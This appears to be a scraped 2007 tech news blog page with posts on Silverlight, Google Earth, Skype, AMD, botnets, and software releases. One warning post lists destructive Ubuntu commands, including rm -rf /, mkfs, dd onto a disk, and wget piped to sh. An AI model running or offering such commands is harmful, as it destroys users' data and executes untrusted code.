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Introducing the New Microsoft Downloads

Written by IT News on 9:24 PM

Introducing the new Microsoft Downloads... now in Silverlight and in Beta. Unlike the traditional HTML Microsoft Downloads, the Redmond company's new hotspot that permits users to access various resources from software to updates is built entirely in Silverlight. And Silverlight is "a cross-browser, cross-platform plug-in for delivering the next generation of media experiences and rich interactive applications (RIAs) for the Web. Silverlight
1.0 will auto-update to the final release," according to Microsoft.

That is of course the long definition of Silverlight. A much more simple approach would be, considering the fact that with the technology Microsoft positions itself as a direct competitor of Adobe in terms of an interactive plug-in, Silverlight is meant as a Flash killer. After making Silverlight the star of MIX 07, Microsoft is now cooking the evolution of the technology from version 1.1 to 2.0.

"Two months ago we shipped Silverlight 1.0 for Mac and Windows, and announced our plans to deliver Silverlight on Linux. Silverlight 1.0 is focused on enabling rich media scenarios in a browser, and supports a JavaScript/AJAX programming model," said Scott Guthrie, General Manager Client and Web Platform & Tools Team, Microsoft.

The new Microsoft Download Center manages to complement the rebranding of Silverlight 2.0. But at the same time it is obvious by the inconsistent user's experience delivered by the Silverlight website in comparison to its HTML brother, mainly in terms of performance, that the technology is yet to reach full maturity. Still, Silverlight 2.0, judging exclusively by the promises delivered by Microsoft, looks like a sweet deal for all web developers.

"Next year we will be releasing a major update of Silverlight that focuses on enabling rich Internet applications. This release will include a cross-platform, cross-browser version of the .NET Framework, and will enable a rich .NET development platform in the browser. Earlier this year we shipped an early Alpha containing some of the basic functionality of the release. Our next public preview will add considerably to this feature set," Guthrie added.

Amazing! Now you can Fly with F16 in Google Earth!

Written by IT News on 8:54 PM

When Google released the 4.2 version of Google Earth, the fans from all around the world were absolutely amazed by the Sky function which brings a new perspective for the available
imagery. As you probably heard, Google Sky allows you to analyze the starts and the galaxies straight from your computer. Soon after that, it was discovered that Google offers many more hidden functions through the downloadable mapping tool but it never mentioned them. For example, the search giant updated the placemarks icons, replacing the old ones with newer and more attractive imagery.

But, there is something that you would never expect to see in Google Earth: the Mountain View company implements a flight simulator, an exciting game that allows you to fly over your favorite location and enjoy the collection of photos offered by the application. All you need to do is press open Google Earth and press Ctrl + Alt + A if you're a Windows user or Cmd + Option + A if you have a Mac. Instantly, a pop-up that allows you to choose from two aircraft should be opened. As you can see by yourself, you can fly using an F16 airplane or a SR22, "a high-performance four-seat propeller airplane," as the description states.

Then, you're required to choose your start position: your current view, your last position in flight simulator (supposing that you used the function before) or you can take off straight from an airport. In addition, you can control the airplane with a joystick in order to become a better pilot.

Google Earth Flight Simulator
Enlarge picture
What's most interesting is that Google Flight Simulator was actually a hidden function but, once you discover and run it for the first time, it will be included in the 'Tools' menu of Google Earth.

This is it for now, have a nice flight without nausea or headaches. For a complete list of shortcuts for the game, visit this website.

Skype censoring certain computer activities

Written by IT News on 8:20 PM

As far as I can see, this is one of the most serious accusations addressed to Skype as the president of Dynamic Internet Technology accuses the application of censoring certain computer activities. Bill Xia is a provider of specialized software which helps the local Internet consumers bypass the
governments' filters and access the restricted websites. In case you didn't know, the Chinese authorities are very exigent when it comes to the content accessed by the local users so they are trying anything it is possible to restrict certain websites. Sometimes, the government demands the help of the Internet pages or software solutions in order to do that, Skype being only one of those selected.

Bill Xia sustains Skype supports the government in censoring the content and moreover, it installs a hidden process on users' computer which blocks certain words from being sent over the Internet. It all started when Skype redirected the users to, a website created in collaboration with which is rumored to be used for tracking users on the Internet. Moreover, the Chinese user said for WebProNews that Skype puts a process called 'contentfilter.exe' on consumers' systems, blocking certain words such as 'dalai lama' from being sent on the web.

"We're sure it's not a redirection from the firewall of the Chinese government but from Skype itself," Bill Xia said for the source mentioned above.

Skype refused to comment on the reports but according to Bill Xia, the company detected that he uses the VoIP application to communicate with his clients in order to help them bypass the filters so it decided to redirect the users to the new portal and install that hidden executable file. However, these are serious accusations if we think that the company doesn't mention anything about a secret process to monitor the computer activity in the privacy policy published on its official page.

Google Delivering Porn-Like Message

Written by IT News on 7:46 PM

"I know what you want and I’m going to make sure you’re going to have your chance to get it." Add to this a couple of moans and a whip, and you will have the beginning of a bad porn flick.

It’s actually an update to Google Reader
that winds around the feed subscription opportunities that you might be missing on, because you had no idea that they existed, or because you just lack the time to manually browse the contents of the entire Internet (dramatic approach, don’t shed a tear) for a specific blog, or whatever it is you liked at some particular moment in the past and would like to subscribe to.

Steve Goldberg, of the official Google Reader Blog, says that "To help with the discovery of interesting sites to subscribe to, we just released personalized recommendations in Reader. When you visit our discovery page, you'll see quite a few feeds that we think you may find interesting. 'Interesting' here is determined by what other feeds you subscribe to, as well as your Web History data, all taken into account in an automated, anonymized fashion." I don’t know about you, but the part with the anonymity seems really laughable to me and there’s no particular "biggest database ever to be had" reason for me to say that (winks).

What’s so good about feeds? It is the fact that they help you find out about things that interest you, a lot faster than click-on-link and type-in-site-address. Recommendations are there for you to be able to enrich your subscription list, but what happens if you get over-enthusiastic and just subscribe and subscribe and you forget about yourself, and two days later you’ll be there, mouse in hand, with a blank stare on your face and with two thousand new items in your subscriptions. That’s when the second part of the update comes in handy, the "innovative" drag-and-drop giving you the tool so important for organizing and optimizing your experience.

Start subscribing… now!

AMD don't interest in dual-processor platform

Written by IT News on 7:15 PM

AMD has announced that the company is not currently taking into account development of a dual-processor platform. With this statement, AMD takes its hands off the so-much promoted FASN8 platform
and retreats from the competition with Intel on the dual-processor market.

"AMD has discontinued future planning and development of its eight-core enthusiast platform at this time. […] We will continue to support customers that have an existing Quad FX with DSDC and are also working on an upgrade path for those customers. The upgrade path likely won’t be a Phenom-branded product," said AMD spokeswoman, Suzy Pruitt.

In the battle for extreme performance, Intel have raised the stake with their Core 2 Duo and with the Intel Core 2 Quad microprocessors. Of course, AMD could only dodge and attack, so they raised the stake and introduced their Quad FX platform last year; the platform featured two dual-core AMD Athlon 64 FX-70-series processors – a pretty high-end alternative to Intel Core 2 Quad. The promises were that AMD's quad-core powerhorses were to be fully compatible with the Quad FX platform and would allegedly allow users to swap processors at no platform-switching cost.

Of course, Intel had to show who "the man" was and, shortly after the Quad FX episode, they started teasing each other with their own V8 platform, that promised two quad-core central processing units. As if that was not enough for the enthusiasts, Intel dug even deeper and pulled out to surface the Skulltrail platform, which would only work with two specially designed quad-core processors that jump the $3000 barrier each. A pretty salty price, but it'll be worth it, if you are obsessed with your system.

Time is running low for AMD, who failed in delivering hi-speed Phenoms to join the battle against Intel's Core 2 Extreme line. Phenom FX has also been delayed and AMD has left a single quad-core pawn on the table that can't carry more than 2.3 GHz – just enough to eat Intel’s Core 2 Extreme processors dust.

Read about AMD at AMD official website

FBI Knocking On Cyber Criminals' Door

Written by IT News on 5:59 PM

FBI committed to stop the cyber criminals, the 'Bot Roast' operation is meant to stop the cyber criminals and, especially, the botnet owners, who attempt to control
numerous computers from all over the world and launch web attacks. According to the FBI officials, since June when the campaign has started, no less than 8 individuals have been identified and some of them have even been sent to prison after they pleaded guilty. As far I can see, many of the individuals identified by the FBI were pretty young, as 3 of them were 21 years old.

"Today, botnets are the weapon of choice of cyber criminals. They seek to conceal their criminal activities by using third party computers as vehicles for their crimes. In Bot Roast II, we see the diverse and complex nature of crimes that are being committed through the use of botnets. Despite this enormous challenge, we will continue to be aggressive in finding those responsible for attempting to exploit unknowing Internet users," FBI Director, Robert S. Mueller, commented the case.

The botnets managed to cause a $20 million economic loss, and approximately one million affected computers, informs FBI. That's why it's extremely important to keep your computer protected with any powerful solution you want and to avoid downloading or installing unknown files that come from unrealiable sources.

"The public is reminded once again that they can play a part in thwarting botnet activity. Practicing strong computer security habits such as updating anti-virus software, installing a firewall, using strong passwords, and employing good e-mail and web security practices are as basic as putting locks on your doors and windows. Without employing these safeguards, botnets, along with criminal and possibly terrorist activities, will continue to flourish," FBI Assistant Director James E. Finch, Cyber Division, said.

What is Botnet? read more at wikipedia or

Big Day for GMail

Written by IT News on 4:17 AM

You check it now, google is improving Its chat ability and feature.

The one field that Google still trails Yahoo! by far is that of the email services, where of the two, Yahoo! is king and Google isn’t even close to being a serious runner up, when it comes to the numbers of users.

That’s nothing, says Google, I’ll just add
some features and work my way up to the top. But by doing this, besides the latest update that added rich emoticons and group chat, the question that burns a hole through all my GMail related thoughts remains without an answer: will there be a client for Gtalk or has the project been completely dropped? Time will tell, but the time it takes them seems to be just more than bearable.

Group chat is the first addition and it can be accessed by clicking the "Group Chat" from the "Options" menu, while chatting. The next step is to enter the names of those you’d want to add and that’s about it, you’re in your very own chat room. All the previous functions, like chat archiving and taking the chat off the record, are also implemented and work just fine.

The smilies that have been added are actually what had been bothering me for a long time, the blasted buggers just wouldn’t look pretty and there was no news update about somebody working on them. I guess it was worth it after all, they do look pretty cool now. The button that opens the available emoticon menu is nice and fits in with the overall appearance of the chat window, and it also gives you the option to select the style of the smilies you send, old dull style or the two newer rich emoticon styles.

The feature only works with GMail 2.0 and Internet Explorer 6.

It’s been 25 years and a couple of months since the first smilie face has been drawn by Carnegie Mellon University professor Scott E. Fahlman, and look how far it’s come.

Some of MacBook Users Affected By Wi-Fi Problems

Written by IT News on 4:08 AM

I think it cause appears to be energy management...

Is Apple getting sloppier, or is the increased number of problems we’ve been seeing a result of increased sales they’ve been seeing? Whatever the cause, MacBook users are starting to complain about Wi-Fi problems, which seem to be related to the latest software updates issued by the company.

Owners of the 13-inch portables are noticing increased erratic behavior for their Wi-Fi connection. The issue seems to be present both under Leopard and under Tiger, the latest update of which seems to be the culprit.
Affected units see a very unreliable wireless connection that seems to be closely related to the power management of the machine. When plugged-in, the MacBook’s wireless is fine and reception is strong. As soon as the user switches to battery power, however, the connections become intermittent and will often drop entirely when idle.

Affected users that also use Boot Camp report that the problem is not seen under other operating systems. Similarly, other users are reporting that they managed to avoid the issue by using the Terminal to send out data periodically to keep the connection alive. Last but not least, some users are reporting seeing the problem go away after reverting to Mac OS X 10.4.9. All of these fixes, as well as the most common one of simply plugging the machine in to avoid staying on battery power, indicate that the problem is a software one related to the way the system handles power management.

The issue does not seem to be a new one, with reports going back as far as the 10.4.10 update this summer, but it appears that the most recent Tiger update has made things worse for many.
So far Apple has not publicly acknowledged it, much to the chagrin of affected users who are well aware that another software update could easily rid them of these woes.

AT&T Announced 3G iPhone

Written by IT News on 3:46 AM

The big news is that AT&T has just announced the next version of the iPhone. Unfortunately, this isn't big news at all, as anyone that actually owns a 3G phone can tell. Even before the iPhone was released a 3G version was not a matter of if, but of when… and AT&T’s timing is just plain bad.

At a meeting of the Churchill Club in Santa Clara, California,
AT&T Inc. Chief Executive Officer, Randall Stephenson said that Apple will be introducing a new version of the iPhone next year. The device will function on the third-generation wireless networks, and be able to access the Internet at a much faster rate than is available today.

Answering a question about when the 3G version of the iPhone will debut, Stephenson said: "You'll have it next year." When asked about the price, he answered that he didn’t know how much it would cost, adding that Steve Jobs "will dictate what the price of the phone is."

Of course, the 3G iphone is not exactly news, and has already been talked about by Steve Jobs at iPhone launch in the UK.

"3G chipsets... are real power hogs. Most phones now have battery lives of 2 to 3 hours and that's due to these very power-hungry 3G chip sets... [iPhone] has 8 hours of talk time life. That's really important when you start to surf the Internet and want to use the phone to listen to music. We've got to see the battery lives for 3G get back up into the 5+ hour range. Hopefully we'll see that later next year."

Of course, there is a big difference between "hopefully we'll see that later next year" and "you'll have it next year," which is why only some people should be doing the announcements. Such an announcement on the eve of the holiday shopping season is not the best of moves, as it can lead to some people holding off until next year. On the other hand, doing so would be rather futile as Apple is not going to come out with anything new until after the Asia launch, which is still a long way ahead.

The big Aspects of Hacking and Viruses

Written by IT News on 3:36 AM

I wanted to write about this for a long time, since it is pretty important, but I never got the chance to do it; plus, there wasn’t enough material to back up my statements… until now. Sophos expert Fraser Howard wrote a great technical paper on "Modern web attacks" that is very inspiring and also explains things really well. In any case, in this article, I’m going to
concentrate on explaining the way e-mail borne viruses function.

Perhaps you’ve read a lot of news either written by myself or by my peers in which they would explain how e-mail borne threats work. Most of the times, nobody bothered to detail this too much, journalists limiting themselves to "when you click on a link you get a virus", but there’s much more to it than that. Sure, in some cases, you get the powerful virus on your machine directly after clicking on a link. That would be the work of a lazy/sloppy hacker. But pros have other ways of doing things. It’s all about multi-stage attacks!

So, how do these work? Well, after the victim gets the message (probably part of a torrent of spam) and clicks on a link, a download function is activated. As Fraser Howard puts it, this can be written within a very small binary and in a myriad of ways. Some of these will pass through the e-mail gateway without being noticed. And here comes the part where the hackers get clever – the download does not always start immediately, as this could be dubbed malicious script by heuristic based software. Instead, the download will start at a later time, as there is no rush.

Furthermore, using the same primary payload would be dumb, as it could be instantly detected and blocked, that’s why the ones in charge of the attacks are always updating the remote content (primary payload).

And probably, the most clever part of all this consists in the multiple stages of download. Don’t go thinking that you get a Trojan downloader and then the virus. Oh, no – it’s far more complex. The first will download another that will download another and so on and so forth, or the primary download will download the virus piece by piece, from different hosts and URLs. Also, it may be possible for the initial downloader to retrieve a configuration file, which contains further instructions of content to download, as seen in the same report.

"Coupling the use of automation to frequently update the malicious files with multiple levels of downloading (potentially across multiple domains), often results in fairlycomplex infection mechanisms, involving numerous items of malware and URLs. From the malware author's perspective, such techniques provide a very flexible framework in which to operate.", Fraser Howard wrote in the report.

Hacker’s Dirty Tricks: Google and Yahoo Make Cool Tools

Written by IT News on 2:30 AM

Is it hard to be a hacker? How do I become a hacker? I want to learn more about hacking! Those are the things that I often hear or see on forums. Somebody asked me the other day if I know how to hack a site and whether it’s hard or not. I’m no hacker, I’m just a journalist. However, Petko D. Petkov aka pdp is a world-renowned hacker who in his latest blog post describes how easy it can be for
someone with just a bit of skill to hack into military and government sites - .mil and .gov that is.

He won’t give you the tools or tell you where to get them from, but he does explain how easy it is to exploit certain vulnerabilities. He says that the web is full of open CITRIX gateways and while he was performing some CITRIX testing he hacked a lot of GUIs and "played" around with .ICA files. What he found out is that two great tools hackers have at their disposal are Google and Yahoo that can be queried for public .ICA files. After employing this method he was presented with lots and lots of wide open services, some located on .gov and .mil sites. You don’t have to be a genius to tell that this is a bad thing! The .ICAs will give the hacker a lot of info and in cyberspace knowledge means power more than anywhere else!

And here is the most alarming part, as Mr. Petkov writes on his blog: "Just by looking into Google, I was able to find 114 wide open CITRIX instances: 10 .gov, 4 .mil, 20 .edu, 27 .com, etc… The research was conducted offline, therefore there might be some false positives. Among the services discovered, there were several critical applications which looked so interesting that I didn’t even dare look at them. With a similar success, attackers can perform just simple port scans for service port 1494."

In the same post he hands out a lot of details to prove his concept. You may read it by clicking this link, but keep in mind that this knowledge is for you to better up your website, if it's flawed, or in any case, you are not to use it for bad purposes.

Adobe Audition 3 Is Out And Ready To Rock!

Written by IT News on 11:19 PM

Well, it's been quite a long time since many of those who are now working as professionals in the audio industry or are still dealing with audio as a hobby started using Cool Edit Pro, one of the great audio editing softwares in the past. After being bought by Adobe, the former Cool Edit Pro changed its name into Audition and it looks like Adobe has invested quite a lot in its development and
has made these days the 3rd edition publicly available.

The Adobe Audition 3 is still the same professional audio recording, mixing, editing and mastering application and as far as the screenshots are showing, it retains the fantastic ease-of-use that had been originally inherited from CEP.

Of course, the new edition sports enhanced support for low-latency recording and editing and Windows Vista compatibility. While also keeping the price in the usual range, just under $350, Adobe Audition 3 is not the painfully expensive application but if you plan to just play a little with the sound you'd better think about some other, maybe freeware software.

Adobe Audition 3 sports enhanced VSTi support for a wider range of plug-ins while the multitracking editing has become a lot easier with grouped tracks and blocks as the same operation can now be carried out on all tracks with one single move (i.e. Crossfading and similar things). Spectral editing has been dramatically enhanced so now you can move freely in the frequency space and select custom areas for repair or further processing; and as we speak about working space, for those working a lot with radio spots and the like, the "Top/Tail View" option allows the user to keep an eye on the entire file while benefiting from custom zoomed beginning and ending of that specified block, and even more, edit the fades and effect on those critical selections without switching between the normal and the zoomed views continuously.

There are also new effects in Adobe Audition 3: Convolution Reverb, Analog Delay, Mastering tool, Guitar Suite and Tube-modeled compressor, helping you make your mixes sound more natural and realistic, closer to what you get in a full-scale studio. At the same time, you can freely unleash your creativity using the loop-based music-making routines and the multitude of uncompressed 32-bit royalty-free samples coming with Audition 3. The classic audio restoration tools that allow you to work with cassettes and vinyls and have your way with "old-type" media have been improved for a more comprehensive use and for helping you get better sounding results.

Even with the video tools integration, the Adobe Audition 3 has made progress, offering now multiple options for editing your soundtracks in either stereo or 5.1 surround mode, letting you shape your audio-video production exactly the way you want; visual commands and a streamlined workflow are usable without too many efforts by less skilled editors as well. If you want to get more detailed data and info on the new 350-dollar Audition3, check out these official movies.

Intel Is Prepping Hardware for a Sub-$100 Vista-Ready Desktop PC System

Written by IT News on 8:01 PM

One of the most successful trends on the PC market nowadays is to produce low-cost platforms, targeting especially those customers from the emerging markets that can't afford to spend a lot of money on a high-end (or even a mid-range) PC or laptop, but want to get a fully-functional device with average computing capabilities.

And it seems that Intel (maker of the Classmate PC, OLPC's rival) is seriously taking this trend into account, as reports have emerged that indicate the fact that the chip maker might be planning a special platform for under $100 for 2008.

Thus, according to Monica Chen for DigiTimes, who's quoting unnamed, but apparently reliable sources, it seems that Intel plans to launch next year its Shelton'08 low-cost desktop platform, designed to be integrated in desktop PC systems that will cost as low as 100 US dollars. Furthermore, due to its improved heat dissipation system and level of power consumption, it seems that the Shelton'08 will first be adopted for sub-$300 notebooks in the third quarter of 2008, with the aforementioned desktop PCs following shortly afterwards.

Furthermore, according to the same sources mentioned earlier, it seems that the Shelton'08 platform will be using 45nm Diamondville processors, with either Intel's 945GC or SiS 671 chipsets, and will be able to run Microsoft's Vista Basic, which means that the company from Redmond might actually record a certain increase in the sales of its latest OS.

The new platform might open up whole new opportunities for computer manufacturers, especially on the markets from those countries where the level of income per family is not exactly great. Thus, a $100 price point is quite an irresistible offer, especially if the customers are not looking for some high-end rigs, but just for something that will help them get in touch with technology. And, to be honest, there are a lot of such people around the world, so Intel and its partners might be on the right track for a huge market hit.

German Police Wants Linux

Written by IT News on 7:34 PM

A year ago, the German Tax Authority switched 12.000 desktops to SuSE Linux, now a police precinct from Berlin issued a press release a few days ago where they complain about their report system,
named POLIKS (Police National System for the Information, Communication and Processing), that it is not stable and reliable enough for the officers to do their job efficiently. When a civilian comes to file a complaint, it usually takes between 30 and 90 minutes to fill it in, together with a police officer. Helmut Sarwas, Vice-president of DPoIG Berlin (German Police Trade Union) says: "If a citizen wants to fill in a complaint, he often spends more than 30 minutes, together with the police officer, to finish it. This is very embarrassing."

The total amount of down-times this year, for a single Berlin precinct, was estimated at 50 hours. In other federal states, these down-times take no more than two hours. "This is inconceivable. The authorities should consider switching to a different operating system." - says Helmut Sarwas.

As a result, the Berlin Police Union wants to quit Microsoft Windows and use an operating system which will allow a cheaper and more efficient resource management, for example Linux. The switch would save millions of euros. The Vice-president says: "There are countless open source operating systems on the market, also many which were certificated by the EU." The Berlin police must be able to work without complications and with maximum efficiency.

Instead of reducing the Christmas bonus, the senators should acquire open source operating systems for the German police. "The saved money could then be used to pay the officers their full Christmas gratification.", stated Helmut Sarwas in the press release.

The German police was known to be one of Microsoft’s "reference customers", until now.

StartCom Enterprise Linux 4.0.5 Available

Written by IT News on 7:00 PM

StartCom launched the updated release for the legacy AS-4.0.x series of StartCom Enterprise Linux.

StartCom provides long-term support for its enterprise-class operating systems. It is fully based on open source technology, offering a stable, reliable and secure distribution with mission-critical server deployments.

This sixth update comes with additionally supported and updated drivers, a new kernel (2.6.9-67), updated Samba, mirrored root support for Logical Volume Management and updated GNU Compiler Collection. Also, AS-4.0.5 supports the Xen hypervisor which allows the user to run multiple virtualized server instances on the hardware.

The new version of Samba is 3.0.25b, which addresses some critical issues related to interoperability with Windows 2003 and Vista. If you have an older version, you will need to change the configurations under certain circumstances when upgrading to the new version because some directives got deprecated or changed.

The kernel is equipped with new and updated drivers, an updated CIFS client (version 1.48) and back ported NFS performance metrics from the 2.6.17-rc6 kernel version.

The desktop applications that come with AS-4.0.5 turn this Linux distribution into an excellent choice for client and development workstations. Firefox, OpenOffice and some development tools are provided already during installation. Evolution mail client was updated to version 2.8 and provides more effective integration in mixed environments.

StartCom Enterprise Linux AS-4.0.5 (codename "Barak") is available for both i386 and AMD x86_64 architectures. To install StartCom, you will need at least 10 GB free space. It comes in two flavors, on CD ISOs and DVD ISOs. The installation is very quick and easy, presenting you a nice StartCom EL custom made GRUB splash and some options. The installer used is Anaconda, ported from Red Hat, with a few modifications.

How to Remain Secure on Cyber Monday?

Written by IT News on 6:44 PM

With Cyber Monday almost here, it's very important to equip your computer with powerful and well-developed technologies which would be able to defend you and keep your data secure during the entire holiday shopping season. Today, the Zone Alarm developers, Check Point Software Technologies, offered several pieces of advice on how to remain secure and buy products online without any threat.

For those of you who don't know what Cyber Monday is, it marks the beginning of the holiday shopping season. This day is usually the best time for shopping because most
merchants launch special offers and prices for a wide category of products, all of them accessible via the Internet. Because millions of consumers will go online for shopping, some bad-intended persons a.k.a. attackers, phishers, scammers, hackers (you can call them however you want) will surely attempt to steal your money, products or even financial information.

"Internet holiday attacks get more advanced each year, but many people are still relying on outdated or nonexistent security solutions, which put their computers and identities at risk," said Laura Yecies, vice president and general manager of Check Point’s ZoneAlarm consumer division. "To stay safe online this holiday season consumers need to educate themselves on the latest types of threats, and make sure they are running up-to-date and comprehensive security software on their PCs."

Now that we understood that we have to secure our computers against hackers and attackers, what can we do to reach this goal? Well, the Zone Alarm creators give us some advice which might be really useful for an online holiday shopper:

1. Secure your computer with a powerful firewall, antivirus, antispyware and other security solution which could be able to block malicious attempts targeting your system.
2. Avoid publishing your details and especially the financial information on untrusted websites which doesn't seem to be genuine as some of them might be actually some phishing attacks.
3. Secure your browser in order to be able to protect your privacy as well as your identity. Beware! In the last few months more and more users became victims of identity theft!
4. Do not donate money to the organizations or websites promoted by email spam. Only donate money to trusted charities!
5. Buy stuff from the known merchants and websites. Some attackers might attempt to create fake online shops in order to steal users' information.

Malicious Commands You Should NOT Run in Ubuntu!

Written by IT News on 6:07 PM

I knew this was going to happen someday, as Ubuntu is more and more popular each day. It seems that there is a growing trend to offer malicious commands to new and inexperienced Ubuntu users on Ubuntu forums and not only there. Therefore I thought it would be a very smart idea to take a moment to review all these malicious commands, that you should NOT execute in a terminal.

The following commands can cause massive damage to your Ubuntu operating system! Please DO NOT execute any of them, just read and learn!

sudo rm -rf / (This will delete all your files on your system) - Needs administrator rights! sudo rm -rf . (This will delete the current directory your in) - Needs administrator rights! sudo rm -rf * (This will delete all the files in the current folder) - Needs administrator rights! rm -rf * or rm -rf *.* (This will delete all the files in the current folder) - No administrator rights needed! rm -rf ~ / & (This will destroy your home directory) - No administrator rights needed!

All the below commands will erase your hard drive! CODE:
sudo mkfs (This will format your hard drive) - Needs administrator rights!
sudo mkfs.ext3 (This will format your hard drive) - Needs administrator rights!
sudo mkfs.bfs (This will format your hard drive) - Needs administrator rights!
sudo mkfs.cramfs (This will format your hard drive) - No administrator rights needed!
sudo mkfs.ext2 (This will format your hard drive) - Needs administrator rights!
sudo mkfs.minix (This will format your hard drive) - Needs administrator rights!
sudo mkfs.msdos (This will format your hard drive) - Needs administrator rights!
sudo mkfs.reiserfs (This will format your hard drive) - Needs administrator rights!
sudo mkfs.vfat (This will format your hard drive) - Needs administrator rights!

The dd command can be very dangerous, especially when you have no idea what it does! Below are some examples, but remember that these can vary often! CODE:
sudo dd if=/dev/zero of=/dev/hda (VERY DANGEROUS COMMAND! It will zero out the whole primary IDE hard drive) (Needs administrator rights)
sudo dd if=/dev/hda of=/dev/hdb (Needs administrator rights)
sudo dd if=something of=/dev/hda (Needs administrator rights)

WARNING: /dev/hda and /dev/hdb from the above example can be replaced with /dev/sda or /dev/sdb or any partition or hard drive you may have on your system!

Block device manipulation: Causes raw data to be written to a block device. Often times this will clobber the filesystem and cause total loss of data!

any_command > /dev/sda
dd if=something of=/dev/sda

Forkbomb: It is a malicious script that will execute a huge number of processes until your system freezes, forcing you to do a hard reboot which may cause data corruption or data damage.

The below command looks really intriguing and curiosity may lead new and inexperienced users to execute it! DON'T EXECUTE THEM!


fork while fork

Tarbomb: Let's say that someone who wants to help you, offers you a tar.gz or tar.bz2 archive and he asks you to extract it into an existing directory. This archive can be crafted to explode into a million of files, or inject other existing files into the system by guessing their filenames. You should make the habit of decompressing tar.gz or tar.bz2 archives inside a newly created directory!

Decompression bomb: Here's another example. Let's say someone asks you to extract an archive which appears to be a small download. In reality it's highly compressed data and will inflate to hundreds of Gigabites, filling your hard drive until it freezes! You should not touch data from an untrusted source!

Shellscript: This one is also very dangrous! Someone gives you a link to download, to a shellscript and then he asks you to execute it. This script can contain any command he chooses (from the above examples). Do not execute code from people you don't trust! Here are some examples:

wget http://some_place/some_file
sh ./some_file

Example: wget
sh ./malicious-script


wget http://some_place/some_file -O- | sh
Example: wget -O- | sh
WARNING: Remember that the above examples can have any name!

Two New Free Editions of Windows XP SP2 Available for Download

Written by IT News on 5:44 PM

That's right! Microsoft is currently cooking two free editions of Windows XP Service Pack 2 that will be up for grabs via the Download Center as early as the beginning of the upcoming week. This is certainly not the first time when the Redmond company has shown signs of generosity with its Windows client in an effort to give web-developers the tools necessary to tests-drive websites on the two main versions of Internet Explorer that are hugging the browser market worldwide. At this time, Microsoft confirmed that users will be able to download the new free
editions of XP SP2 on Monday or Tuesday.

"Just a quick note to say that the IE6 and IE7 VPC images are being updated as we speak, and I suspect the new versions should be online Monday or Tuesday," revealed Pete LePage, Product Manager, Internet Explorer, Developer Division. There are a couple of caveats to the downloads. First off the Internet Explorer VPC images are essentially pre-configured and optimized virtual hard disk images designed to be integrated with Virtual PC 2007.

If you were expecting stand-alone downloads, then I am sorry to disappoint you. But the fact of the matter is that you will be able to benefit from two completely free copies of XP SP2 one running IE6 and the other IE7 along with the IE7 Readiness Toolkit. The operating systems will be pre-activated, so you don't have to deal with product keys and serials or go through the activation process. You will simply be able to start your testing immediately.

Currently Microsoft is offering the same two images, but release toward the end of August. However, because they are free, both VPCs are also time-bombed. Which means that they come with an expiration date. For the August VHDs time will run out on December 7. LePage explained that Microsoft will never strip the VPCs of their time limitations, but will continue to update the products and prolong the expiration date for as long as there is demand.

"Microsoft is giving you a copy of Windows XP to test with. We can't give away an un-timebombed image as we would be giving away a free copy of Windows XP. The option of building your own VPC image is certainly available to you. Doing it yourself will not require time bombs or updating things yourself," LePage added.

XP SP3 RC Is Out of the Way, Get Ready for the Release Candidate of Vista SP1

Written by IT News on 1:24 AM

Now that Windows XP SP3 RC is out of the way, get ready for the first Release Candidate of Windows Vista SP1, as soon as next week. The synchronization of the updates for Windows Vista and Windows XP is not a model of accuracy as far as Microsoft's service pack releases
are concerned, but the company is not that far off as you might think. Ever since mid July, when the first preview Beta builds of Vista SP1 and XP SP3 were dropped in the laps of exclusive pools of testers, the development milestones of the two service packs are almost joined at the hip. Stepping into Beta and Release Candidate stages together, Vista SP1 and XP SP3 are even pointing to a concomitant launch in the first quarter of 2008, a scenario that remains unconfirmed by Microsoft.

In the mid of November, Microsoft made available the first Release Candidate for Windows XP Service Pack 3 and a preview of the Release Candidate for Windows Vista Service Pack 1. Both development milestones of Vista SP1 and XP SP3 were synonymous with Microsoft opening up the Beta program, and expanding the number of testers from 12,000 to some 15,000. Windows XP Build 2600.xpsp.071030-1537: Service Pack 3, v.3244, the fully fledged RC for XP SP3 accompanied Vista SP1 RC Preview Build's launch on November 14. XP SP3 RC was subsequently leaked to peer-to-peer file sharing networks. On top of this a hack was made available permitting all XP users to access the Release Candidate of the third and last service pack for XP.

In this first week of December, Microsoft is reported to make available the first RC of Vista SP1. At this point in time, according to Mary Jo Foley, the Redmond company is dogfooding an internal version of Vista SP1 RC build 17051. Microsoft still failed in disclosing its plans as to when it will deliver Vista SP1 RC via MSDN or to the general public. The final version of the service pack is still scheduled for the first quarter of 2008 with no additional details, yet.

NetSetMan 2.4.1

Written by IT News on 10:54 PM

A network settings manager which can easily switch between 5 different, visually structured profiles
NetSetMan is a network settings manager which can easily switch between 5 different, visually structured profiles.

NetSetMan is not only useful and effective but also easy and intuitive to handle. The entry fields remind of the Windows "Internet Protocol (TCP/IP) Properties" but it's much easier to fill in the adresses.

NetSetMan is a network settings manager which can switch between visually structured profiles. With only 2 mouse clicks you can activate a saved profile!

All settings and changes are saved automatically in a separate file (settings.ini) so a backup, transfer or upgrade to another version is absolutely no problem.

NetSetMan is a network settings manager which can easily switch between 6 different, visually structured profiles including:
· IP Address
· Subnet Mask
· Default Gateway
· Preferred & Alternate DNS Server
· Computer Name
· Workgroup
· DNS Domain
· WINS Server
· Default Printer
· Run Scripts

Here are some key features of "NetSetMan":

· IP Adress settings
· Subnet Mask settings
· Default Gateway settings
· Preferred as well as Alternate DNS Server settings
· Computer Name + Workgroup settings

Note: NetSetMan is free for non-commercial use.

What's New in This Release:
· NEW language: Czech (program)
· NEW language: Portuguese (Brasil) (program)
· NEW language: Bulgarian (program)
· NEW: Get current settings with an extra "[<-]" icon for each setting. Clear an entry by double-clicking its caption
· NEW: "Get all current settings" in the popup menu in the tab header
· Reading the available network adapters completely rewritten: Better Vista compatibility, more flexible & accurate
· BugFix: Pressing the ALT key in Vista caused a visual bug
· BugFix: Special characters in Portuguese language fixed
· BugFix: Deleting an entry in the network drives window while editing it is now deactivated
· BugFix Pro: Wrong window size with big Windows fonts
· BugFix Pro: Additional addresses in combination with categories
· Help files updated
· Lots of minor adjustments

Developer: Ilja Herlein
License: Freeware
Last Updated: November 26th, 2007, 14:17 GMT
Download location: click here for download

SafeSpace 1.2.107

Written by IT News on 10:09 PM

Protects computers from Internet malware infection without the need for signature updates or regular maintenance. SafeSpace protects your from malware by creating a impenetrable shield between your computer and the Internet, protecting you and your personal information against all known and unknown threats.

SafeSpace creates a virtual environment, called a sandbox, for Internet facing applications and content that is downloaded from these applications. From inside SafeSpace, all changes to your application files, system files and registry are virtualized.

These virtualized changes only affect applications inside the sandbox, leaving the native computer in an unmodified state. When the SafeSpace session ends, or the user logs off, all changes are deleted.

